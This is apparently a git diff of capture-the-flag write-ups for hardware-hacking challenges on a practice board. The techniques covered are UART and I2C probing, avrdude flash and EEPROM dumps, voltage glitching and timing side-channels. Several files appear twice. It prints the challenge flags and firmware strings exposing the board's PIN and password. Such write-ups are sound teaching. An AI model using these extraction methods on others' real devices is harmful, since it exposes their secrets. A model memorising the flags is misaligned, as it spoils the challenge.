+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
